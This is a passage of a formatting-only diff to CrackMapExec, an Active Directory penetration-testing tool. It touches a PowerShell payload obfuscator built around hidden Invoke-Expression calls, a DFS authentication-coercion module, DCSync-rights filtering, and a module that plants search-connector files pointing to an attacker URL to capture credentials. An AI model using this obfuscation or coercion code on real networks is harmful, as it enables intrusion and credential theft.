"[" + integer + "]" + choice(["", " "]) + "$_", + "[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]", ] random_conversion_syntax = choice(random_conversion_syntax) @@ -387,30 +340,14 @@ def invoke_obfuscation(script_string): # https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables set_ofs_var_syntax = [ - "Set-Item" - + choice([" " * 1, " " * 2]) - + "'Variable:OFS'" - + choice([" " * 1, " " * 2]) - + "''", - choice(["Set-Variable", "SV", "SET"]) - + choice([" " * 1, " " * 2]) - + "'OFS'" - + choice([" " * 1, " " * 2]) - + "''", + "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''", + choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''", ] set_ofs_var = choice(set_ofs_var_syntax) set_ofs_var_back_syntax = [ - "Set-Item" - + choice([" " * 1, " " * 2]) - + "'Variable:OFS'" - + choice([" " * 1, " " * 2]) - + "' '", - "Set-Item" - + choice([" " * 1, " " * 2]) - + "'Variable:OFS'" - + choice([" " * 1, " " * 2]) - + "' '", + "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '", + "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '", ] set_ofs_var_back = choice(set_ofs_var_back_syntax) @@ -421,114 +358,16 @@ def invoke_obfuscation(script_string): # Generate the code that will decrypt and execute the payload and randomly select one. baseScriptArray = [ "[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array, - "(" - + choice(["", " "]) - + "'" - + delimited_encoded_array - + "'." - + split - + "(" - + choice(["", " "]) - + "'" - + random_delimiters_to_print - + "'" - + choice(["", " "]) - + ")" - + choice(["", " "]) - + "|" - + choice(["", " "]) - + for_each_object - + choice(["", " "]) - + "{" - + choice(["", " "]) - + "(" - + choice(["", " "]) - + random_conversion_syntax - + ")" - + choice(["", " "]) - + "}" - + choice(["", " "]) - + ")", - "(" - + choice(["", " "]) - + "'" - + delimited_encoded_array - + "'" - + choice(["", " "]) - + random_delimiters_to_print_for_dash_split - + choice(["", " "]) - + "|" - + choice(["", " "]) - + for_each_object - + choice(["", " "]) - + "{" - + choice(["", " "]) - + "(" - + choice(["", " "]) - + random_conversion_syntax - + ")" - + choice(["", " "]) - + "}" - + choice(["", " "]) - + ")", - "(" - + choice(["", " "]) - + encoded_array - + choice(["", " "]) - + "|" - + choice(["", " "]) - + for_each_object - + choice(["", " "]) - + "{" - + choice(["", " "]) - + "(" - + choice(["", " "]) - + random_conversion_syntax - + ")" - + choice(["", " "]) - + "}" - + choice(["", " "]) - + ")", + "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", + "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", + "(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", ] # Generate random JOIN syntax for all above options new_script_array = [ choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''", join + choice(["", " "]) + choice(baseScriptArray), - str_join - + "(" - + choice(["", " "]) - + "''" - + choice(["", " "]) - + "," - + choice(["", " "]) - + choice(baseScriptArray) - + choice(["", " "]) - + ")", - '"' - + choice(["", " "]) - + "$(" - + choice(["", " "]) - + set_ofs_var - + choice(["", " "]) - + ")" - + choice(["", " "]) - + '"' - + choice(["", " "]) - + "+" - + choice(["", " "]) - + str_str - + choice(baseScriptArray) - + choice(["", " "]) - + "+" - + '"' - + choice(["", " "]) - + "$(" - + choice(["", " "]) - + set_ofs_var_back - + choice(["", " "]) - + ")" - + choice(["", " "]) - + '"', + str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")", + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"', ] # Randomly select one of the above commands. @@ -545,38 +384,12 @@ def invoke_obfuscation(script_string): # These methods draw on common environment variable values and PowerShell Automatic Variable # values/methods/members/properties/etc. invocationOperator = choice([".", "&"]) + choice(["", " "]) - invoke_expression_syntax.append( - invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')" - ) - invoke_expression_syntax.append( - invocationOperator - + "( $PSHome[" - + choice(["4", "21"]) - + "]+$PSHOME[" - + choice(["30", "34"]) - + "]+'x')" - ) - invoke_expression_syntax.append( - invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')" - ) - invoke_expression_syntax.append( - invocationOperator - + "( $env:ComSpec[4," - + choice(["15", "24", "26"]) - + ",25]-Join'')" - ) - invoke_expression_syntax.append( - invocationOperator - + "((" - + choice(["Get-Variable", "GV", "Variable"]) - + " '*mdr*').Name[3,11,2]-Join'')" - ) - invoke_expression_syntax.append( - invocationOperator - + "( " - + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) - + "[1,3]+'x'-Join'')" - ) + invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')") + invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')") + invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')") + invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')") + invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')") + invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')") # Randomly choose from above invoke operation syntaxes. invokeExpression = choice(invoke_expression_syntax) @@ -586,21 +399,8 @@ def invoke_obfuscation(script_string): # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) invokeOptions = [ - choice(["", " "]) - + invokeExpression - + choice(["", " "]) - + "(" - + choice(["", " "]) - + newScript - + choice(["", " "]) - + ")" - + choice(["", " "]), - choice(["", " "]) - + newScript - + choice(["", " "]) - + "|" - + choice(["", " "]) - + invokeExpression, + choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]), + choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression, ] obfuscated_payload = choice(invokeOptions) diff --git a/cme/loaders/moduleloader.py b/cme/loaders/moduleloader.py index 5ef486b1..17784ce8 100755 --- a/cme/loaders/moduleloader.py +++ b/cme/loaders/moduleloader.py @@ -42,9 +42,7 @@ class ModuleLoader: self.logger.fail(f"{module_path} missing the options function") module_error = True elif not hasattr(module, "on_login") and not (module, "on_admin_login"): - self.logger.fail( - f"{module_path} missing the on_login/on_admin_login function(s)" - ) + self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)") module_error = True # elif not hasattr(module, 'chain_support'): # self.logger.fail('{} missing the chain_support variable'.format(module_path)) @@ -80,13 +78,9 @@ class ModuleLoader: self.logger.debug(f"Protocol: {self.args.protocol}") if self.args.protocol in module.supported_protocols: try: - module_logger = CMEAdapter( - extra={"module_name": module.name.upper()} - ) + module_logger = CMEAdapter(extra={"module_name": module.name.upper()}) except Exception as e: - self.logger.fail( - f"Error loading CMEAdaptor for module {module.name.upper()}: {e}" - ) + self.logger.fail(f"Error loading CMEAdaptor for module {module.name.upper()}: {e}") context = Context(self.db, module_logger, self.args) module_options = {} @@ -97,9 +91,7 @@ class ModuleLoader: module.options(context, module_options) return module else: - self.logger.fail( - f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}" - ) + self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}") sys.exit(1) def get_module_info(self, module_path): diff --git a/cme/logger.py b/cme/logger.py index 7c1d0023..79a52325 100755 --- a/cme/logger.py +++ b/cme/logger.py @@ -55,11 +55,7 @@ class CMEAdapter(logging.LoggerAdapter): ) # If the logger is being called from CMEServer - if ( - len(self.extra) == 2 - and ("module_name" in self.extra.keys()) - and ("host" in self.extra.keys()) - ): + if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()): return ( f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs, @@ -86,9 +82,7 @@ class CMEAdapter(logging.LoggerAdapter): except AttributeError: pass - msg, kwargs = self.format( - f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs - ) + msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -103,9 +97,7 @@ class CMEAdapter(logging.LoggerAdapter): except AttributeError: pass - msg, kwargs = self.format( - f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs - ) + msg, kwargs = self.format(f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -134,9 +126,7 @@ class CMEAdapter(logging.LoggerAdapter): return except AttributeError: pass - msg, kwargs = self.format( - f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs - ) + msg, kwargs = self.format(f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -168,9 +158,7 @@ class CMEAdapter(logging.LoggerAdapter): self.logger.info(text) def add_file_log(self, log_file=None): - file_formatter = TermEscapeCodeFormatter( - "%(asctime)s - %(levelname)s - %(message)s" - ) + file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s") output_file = self.init_log_file() if log_file is None else log_file file_creation = False @@ -182,15 +170,9 @@ class CMEAdapter(logging.LoggerAdapter): with file_handler._open() as f: if file_creation: - f.write( - "[%s]> %s\n\n" - % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)) - ) + f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv))) else: - f.write( - "\n[%s]> %s\n\n" - % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)) - ) + f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv))) file_handler.setFormatter(file_formatter) self.logger.addHandler(file_handler) diff --git a/cme/modules/IOXIDResolver.py b/cme/modules/IOXIDResolver.py index b7067189..32bddb64 100644 --- a/cme/modules/IOXIDResolver.py +++ b/cme/modules/IOXIDResolver.py @@ -13,9 +13,7 @@ from impacket.dcerpc.v5.dcomrt import IObjectExporter class CMEModule: name = "ioxidresolver" - description = ( - "Thie module helps you to identify hosts that have additional active interfaces" - ) + description = "Thie module helps you to identify hosts that have additional active interfaces" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False diff --git a/cme/modules/MachineAccountQuota.py b/cme/modules/MachineAccountQuota.py index fc7f7550..59b4753e 100644 --- a/cme/modules/MachineAccountQuota.py +++ b/cme/modules/MachineAccountQuota.py @@ -29,6 +29,4 @@ class CMEModule: searchFilter = "(objectClass=*)" attributes = ["ms-DS-MachineAccountQuota"] result = connection.search(searchFilter, attributes) - context.log.highlight( - "MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0] - ) + context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0]) diff --git a/cme/modules/adcs.py b/cme/modules/adcs.py index 106215e3..50f87c26 100644 --- a/cme/modules/adcs.py +++ b/cme/modules/adcs.py @@ -45,9 +45,7 @@ class CMEModule: search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration," self.context.log.highlight("Using PKI CN: {}".format(self.server)) - context.log.display( - "Starting LDAP search with search filter '{}'".format(search_filter) - ) + context.log.display("Starting LDAP search with search filter '{}'".format(search_filter)) try: sc = ldap.SimplePagedResultsControl() @@ -101,22 +99,14 @@ class CMEModule: urls.append(match.group(1)) except Exception as e: entry = host_name or "item" - self.context.log.fail( - "Skipping {}, cannot process LDAP entry due to error: '{}'".format( - entry, str(e) - ) - ) + self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e))) if host_name: - self.context.log.highlight( - "Found PKI Enrollment Server: {}".format(host_name) - ) + self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name)) if cn: self.context.log.highlight("Found CN: {}".format(cn)) for url in urls: - self.context.log.highlight( - "Found PKI Enrollment WebService: {}".format(url) - ) + self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url)) def process_templates(self, item): """ @@ -136,9 +126,7 @@ class CMEModule: templates.append(template_name) except Exception as e: entry = template_name or "item" - self.context.log.fail( - f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'" - ) + self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'") if templates: for t in templates: diff --git a/cme/modules/bh_owned.py b/cme/modules/bh_owned.py index ff2edd82..c71cfb4f 100644 --- a/cme/modules/bh_owned.py +++ b/cme/modules/bh_owned.py @@ -60,19 +60,12 @@ class CMEModule: context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}") try: - driver = GraphDatabase.driver( - uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False - ) + driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False) except AuthError: - context.log.fail( - f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" - " not valid. See --options" - ) + context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options") sys.exit() except ServiceUnavailable: - context.log.fail( - f"Neo4J does not seem to be available on {uri}. See --options" - ) + context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options") sys.exit() except Exception as e: context.log.fail("Unexpected error with Neo4J") @@ -81,22 +74,14 @@ class CMEModule: with driver.session() as session: with session.begin_transaction() as tx: - result = tx.run( - f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' - " c.name AS name" - ) + result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name") record = result.single() try: value = record.value() except AttributeError: value = [] if len(value) > 0: - context.log.success( - f"Node {host_fqdn} successfully set as owned in BloodHound" - ) + context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound") else: - context.log.fail( - f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" - " imported the correct data?" - ) + context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?") driver.close() diff --git a/cme/modules/daclread.py b/cme/modules/daclread.py index 0321d7f2..83f185db 100644 --- a/cme/modules/daclread.py +++ b/cme/modules/daclread.py @@ -122,12 +122,8 @@ class ACE_FLAGS(Enum): # Since these two flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace class OBJECT_ACE_FLAGS(Enum): - ACE_OBJECT_TYPE_PRESENT = ( - ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT - ) - ACE_INHERITED_OBJECT_TYPE_PRESENT = ( - ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT - ) + ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT # Access Mask enum @@ -223,9 +219,7 @@ class CMEModule: self.context = context if not module_options: - context.log.fail( - "Select an option, example: -M daclread -o TARGET=Administrator ACTION=read" - ) + context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read") exit(1) if module_options and "TARGET" in module_options: @@ -274,9 +268,7 @@ class CMEModule: On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified """ - context.log.highlight( - "Be carefull, this module cannot read the DACLS recursively." - ) + context.log.highlight("Be carefull, this module cannot read the DACLS recursively.") self.baseDN = connection.ldapConnection._baseDN self.ldap_session = connection.ldapConnection @@ -287,18 +279,17 @@ class CMEModule: self.principal_sid = format_sid( self.ldap_session.search( searchBase=self.baseDN, - searchFilter="(sAMAccountName=%s)" - % escape_filter_chars(_lookedup_principal), + searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal), attributes=["objectSid"], - )[0][1][0][1][0] - ) - context.log.highlight( - "Found principal SID to filter on: %s" % self.principal_sid + )[0][ + 1 + ][0][ + 1 + ][0] ) + context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid) except Exception as e: - context.log.fail( - "Principal SID not found in LDAP (%s)" % _lookedup_principal - ) + context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal) exit(1) # Searching for the targets SID and their Security Decriptors @@ -309,19 +300,11 @@ class CMEModule: self.search_target_principal_security_descriptor(context, connection) # Extract security descriptor data self.target_principal_dn = self.target_principal[0] - self.principal_raw_security_descriptor = str( - self.target_principal[1][0][1][0] - ).encode("latin-1") - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR( - data=self.principal_raw_security_descriptor - ) - context.log.highlight( - "Target principal found in LDAP (%s)" % self.target_principal[0] - ) + self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1") + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0]) except Exception as e: - context.log.fail( - "Target SID not found in LDAP (%s)" % self.target_sAMAccountName - ) + context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName) exit(1) if self.action == "read": @@ -336,27 +319,14 @@ class CMEModule: try: self.target_sAMAccountName = target.strip() # Searching for target account with its security descriptor - self.search_target_principal_security_descriptor( - context, connection - ) + self.search_target_principal_security_descriptor(context, connection) # Extract security descriptor data self.target_principal_dn = self.target_principal[0] - self.principal_raw_security_descriptor = str( - self.target_principal[1][0][1][0] - ).encode("latin-1") - self.principal_security_descriptor = ( - ldaptypes.SR_SECURITY_DESCRIPTOR( - data=self.principal_raw_security_descriptor - ) - ) - context.log.highlight( - "Target principal found in LDAP (%s)" - % self.target_sAMAccountName - ) + self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1") + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName) except Exception as e: - context.log.fail( - "Target SID not found in LDAP (%s)" % self.target_sAMAccountName - ) + context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName) continue if self.action == "read": @@ -367,9 +337,7 @@ class CMEModule: # Main read funtion # Prints the parsed DACL def read(self, context): - parsed_dacl = self.parse_dacl( - context, self.principal_security_descriptor["Dacl"] - ) + parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"]) self.print_parsed_dacl(context, parsed_dacl) return @@ -377,9 +345,7 @@ class CMEModule: # This function is called before any writing action (write, remove or restore) def backup(self, context): backup = {} - backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode( - "latin-1" - ) + backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1") backup["dn"] = str(self.target_principal_dn) if not self.filename: self.filename = "dacledit-%s-%s.bak" % ( @@ -400,8 +366,7 @@ class CMEModule: _lookedup_principal = self.target_sAMAccountName target = self.ldap_session.search( searchBase=self.baseDN, - searchFilter="(sAMAccountName=%s)" - % escape_filter_chars(_lookedup_principal), + searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal), attributes=["nTSecurityDescriptor"], searchControls=controls, ) @@ -416,10 +381,7 @@ class CMEModule: try: self.target_principal = target[0] except Exception as e: - context.log.fail( - "Principal not found in LDAP (%s), probably an LDAP session issue." - % _lookedup_principal - ) + context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal) exit(0) # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName @@ -452,12 +414,18 @@ class CMEModule: searchBase=self.baseDN, searchFilter="(objectSid=%s)" % sid, attributes=["sAMAccountName"], - )[0][0] + )[ + 0 + ][0] samname = self.ldap_session.search( searchBase=self.baseDN, searchFilter="(objectSid=%s)" % sid, attributes=["sAMAccountName"], - )[0][1][0][1][0] + )[0][ + 1 + ][0][ + 1 + ][0] return samname except Exception as e: context.log.debug("SID not found in LDAP: %s" % sid) @@ -516,8 +484,7 @@ class CMEModule: ace["Ace"]["Mask"]["Mask"], ) parsed_ace["Trustee (SID)"] = "%s (%s)" % ( - self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) - or "UNKNOWN", + self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN", ace["Ace"]["Sid"].formatCanonical(), ) @@ -550,31 +517,23 @@ class CMEModule: parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type # Extracts the InheritedObjectType GUID values if ace["Ace"]["InheritedObjectTypeLen"] != 0: - inh_obj_type = bin_to_string( - ace["Ace"]["InheritedObjectType"] - ).lower() + inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower() try: parsed_ace["Inherited type (GUID)"] = "%s (%s)" % ( OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type, ) except KeyError: - parsed_ace["Inherited type (GUID)"] = ( - "UNKNOWN (%s)" % inh_obj_type - ) + parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type # Extract the Trustee SID (the object that has the right over the DACL bearer) parsed_ace["Trustee (SID)"] = "%s (%s)" % ( - self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) - or "UNKNOWN", + self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN", ace["Ace"]["Sid"].formatCanonical(), ) else: # If the ACE is not an access allowed - context.log.debug( - "ACE Type (%s) unsupported for parsing yet, feel free to contribute" - % ace["TypeName"] - ) + context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"]) parsed_ace = {} parsed_ace["ACE type"] = ace["TypeName"] _ace_flags = [] @@ -582,9 +541,7 @@ class CMEModule: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None" - parsed_ace[ - "DEBUG" - ] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" return parsed_ace # Prints a full DACL by printing each parsed ACE @@ -600,76 +557,38 @@ class CMEModule: # Filter on specific rights if self.rights is not None: try: - if (self.rights == "FullControl") and ( - self.rights not in parsed_ace["Access mask"] - ): + if (self.rights == "FullControl") and (self.rights not in parsed_ace["Access mask"]): print_ace = False - if (self.rights == "DCSync") and ( - ("Object type (GUID)" not in parsed_ace) - or ( - RIGHTS_GUID.DS_Replication_Get_Changes_All.value - not in parsed_ace["Object type (GUID)"] - ) - ): + if (self.rights == "DCSync") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace["Object type (GUID)"])): print_ace = False - if (self.rights == "WriteMembers") and ( - ("Object type (GUID)" not in parsed_ace) - or ( - RIGHTS_GUID.WriteMembers.value - not in parsed_ace["Object type (GUID)"] - ) - ): + if (self.rights == "WriteMembers") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.WriteMembers.value not in parsed_ace["Object type (GUID)"])): print_ace = False - if (self.rights == "ResetPassword") and ( - ("Object type (GUID)" not in parsed_ace) - or ( - RIGHTS_GUID.ResetPassword.value - not in parsed_ace["Object type (GUID)"] - ) - ): + if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])): print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" - % e - ) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) # Filter on specific right GUID if self.rights_guid is not None: try: - if ("Object type (GUID)" not in parsed_ace) or ( - self.rights_guid not in parsed_ace["Object type (GUID)"] - ): + if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]): print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" - % e - ) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) # Filter on ACE type if self.ace_type == "allowed": try: - if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ( - "ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"] - ): + if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]): print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" - % e - ) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) else: try: - if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ( - "ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"] - ): + if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]): print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" - % e - ) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) # Filter on trusted principal if self.principal_sid is not None: @@ -677,10 +596,7 @@ class CMEModule: if self.principal_sid not in parsed_ace["Trustee (SID)"]: print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" - % e - ) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) if print_ace: self.context.log.highlight("%-28s" % "ACE[%d] info" % i) self.print_parsed_ace(parsed_ace) @@ -691,9 +607,7 @@ class CMEModule: def print_parsed_ace(self, parsed_ace): elements_name = list(parsed_ace.keys()) for attribute in elements_name: - self.context.log.highlight( - " %-26s: %s" % (attribute, parsed_ace[attribute]) - ) + self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute])) # Retrieves the GUIDs for the specified rights def build_guids_for_rights(self): diff --git a/cme/modules/dfscoerce.py b/cme/modules/dfscoerce.py index 9266afb0..58bdbf55 100644 --- a/cme/modules/dfscoerce.py +++ b/cme/modules/dfscoerce.py @@ -38,9 +38,7 @@ class CMEModule: domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, - target=connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, doKerberos=connection.kerberos, dcHost=connection.kdcHost, ) @@ -105,12 +103,8 @@ class NetrDfsAddRootResponse(NDRCALL): class TriggerAuth: - def connect( - self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost - ): - rpctransport = transport.DCERPCTransportFactory( - r"ncacn_np:%s[\PIPE\netdfs]" % target - ) + def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost): + rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( username=username, diff --git a/cme/modules/drop-sc.py b/cme/modules/drop-sc.py index b10f0a48..328f3496 100644 --- a/cme/modules/drop-sc.py +++ b/cme/modules/drop-sc.py @@ -49,18 +49,13 @@ class CMEModule: scfile = open(self.scfile_path, "w") scfile.truncate(0) scfile.write('') - scfile.write( - "' - ) + scfile.write("') scfile.write("Microsoft Outlook") scfile.write("false") scfile.write("true") scfile.write(f"{self.url}/0001.ico") scfile.write("") - scfile.write( - "{91475FE5-586B-4EBA-8D75-D17434B8CDF6}" - ) + 